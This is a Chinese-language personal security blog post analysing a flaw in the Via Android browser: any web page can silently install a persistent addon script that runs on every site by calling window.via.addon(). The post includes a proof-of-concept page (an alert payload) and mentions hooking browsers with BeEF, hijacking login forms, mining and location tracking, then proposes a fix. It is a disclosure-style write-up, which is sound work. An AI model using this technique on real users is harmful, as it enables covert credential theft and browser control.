#> RESTKHZ _

休止千鹤 | 我依旧是一名平凡的学生

Via浏览器插件小漏洞以及利用

  休止千鹤  |    09/10/2020

Via浏览器插件小漏洞以及利用

注:这是从我原来博客搬迁过来的老文章,一个安全问题的技术分析文章,如果您只是来找插件,那么你来错地方了.抱歉.

缘起

Via浏览器大概是我最喜欢的浏览器,也一直是我一直用着,用了几年的一个浏览器。曾经也用过夸克等等号称轻量的浏览器,功能是不错,然而夸克浏览器那简约的外表背后谁知道还留了一(几)道,具体不谈.

至于Via小脚本一直很有特色,到2019年5月份才动手打算自己写一点什么。但是开发过程中发现任何站点是可以直接安装插件,这个过程不需要用户参与太多,仅仅提示安装上了。插件js可以在任何页面执行,这造成了一些安全隐患。比如表单咱可以做点手脚,劫持登录信息,装Js矿机,或者上个Beef之类的。并且可以持久化操控浏览器.

可以说这个文章没有什么溢出,没有什么二进制,没有怎么逆向,全程简单web,没有解密,只能水坑,没有什么价值。写着玩玩。

分析过程

首先,分析了一下官方安装插件的站点页面,没什么东西,审查元素,安装按下后执行operate()函数,还有一些一眼就能看出是base64的东西,核心部分也就一个JS,关键的js。

格式化后如下:

function(event) {
    var button = $(event.relatedTarget)
    var oid = button.data('where')
    var data = findAddon(oid)
    var name = data.data('name')
    var author = 'powered by @' + data.data('author')
    var info = data.data('info')
    var modal = $(this)
    modal.find('#addonName').html(name)
    modal.find('#addonInfo').html(info)
    modal.find('#addonAuthor').html(author)
})
//太长了 XD
//点开查看完整的
//Click --------------↗
function operate(id) {//Haben Sie das gesehen?Hier.                    
    var i = findAddon(id)
    var addon_json = JSON.stringify({
        'id': i.data('id'),
        'name': i.data('name'),
        'author': i.data('author'),
        'url': i.data('url'),            //这里是触发脚本运行地址(比如*.restkhz.com就会在访问到我博客的时候自动执行 
        'code': i.data('code')           //und hier ist BASE64 code.
        //这里是最有趣的地方,base64的插件JS源码.
    })
    var base64 = new Base64()
    var addon_result = base64.encode(addon_json)
    try {
        window.via.addon(addon_result)
    } catch (error) {
        console.log(error)
    }
    setStauts(id, i.data('status') == 0 ? 1 : 0)
}
function setStauts(id, status) {
    findAddon(id).data('status', status)
    $('#operate-' + id).html(status == 0 ? lang['install'] : lang['uninstall'])
}
function findAddon(id) {
    return $('#addon-' + id)
}
function submitLang() {
    $('#lang-form').submit()
}
$(document).ready(function() {
    var data = '[]'
    try {
        data = window.via.getInstalledAddonID()
    } catch (error) {
        console.log(error)
    }
    var json = JSON.parse(data)
    for (var i = 0; i < json.length; i++) {
        setStauts(json[i], 1)
    }
})

省略了部分base64处理代码。
捋了一下:

大概就是把一个插件json字符串base64一下,丢给window.via.addon(),检查状态,就这样。至于json,主要是code,是已经base64的js,还有url,指定了工作的域名,* Bedeutet alles。

构建和利用

咱们来照猫画虎,按瓢画葫芦
学原来的那个被解析的Json格式,写一个json出来.Code是插件源码,我们写一个简单的js弹窗alert(‘restkhz’)并且base64编码为YWxlcnQoJ3Jlc3RraHonKQ==, URL指定了触发的网址,我们这里写一个星号,意味着所有网址都可以触发它运行.

再写了一个html,里面就运行一段js.

function addonApp (appObj) {//安装卸载都是它
appStr = '{author:"restkhz",code:"YWxlcnQoJ3Jlc3RraHonKQ==",id:"9999",name:"TEST",url:"*"}'
var base64 = new Base64()
var addon_result = base64.encode(appStr)
    try {
        window.via.addon(addon_result)
    } catch (error) {
        console.log(error)
    }
    //setStauts(id, i.data('status') == 0 ? 1 : 0)
}
//base64处理代码完全省略
addonApp();

如图,直接访问地址就装上了,顺道还已经执行了。

这里还有一个beef:

补充:由于从wp迁移过来图自然是没了,以后有空补上。
很不幸!图没备份!

简单说一下,当时就弹窗了,BeEF也收到回连.

其实按照构想,这个漏洞可以用于用户地理位置监控,挖矿,并且可以自己定期检查更新自己.因为安装时只有安装成功字样却没有任何询问.对于很多用户可能还一脸懵逼的不知道发生了什么.

解决方案

我能想的到的,大概就是给插件加开关。默认禁用,除非用户手动打开。不知道实现是否困难?


Views:

 Comments


1:

这是怎么看的呀,我找了半天没看到那个网站里的有效代码

 Reply


restkhz:(admin)

1 said : 这是怎么看的呀,我找了半天没看到那个网站里的有效代码
你下次留言记得留个邮箱我好回复你…… http://via-app.cn/ 这个网站的js目录下的那个app.XXXX.js里直接搜索字符串window.via.addon,你能找到的。 或者搜索“安装成功”这样的字符串,作为提示信息那个函数里都有。这套路和直接爆破某些二进制程序一样XD 另外你在选中一个插件的时候,在Network里都能看到服务器返回json。里面code字段你一定有兴趣 :)

 Reply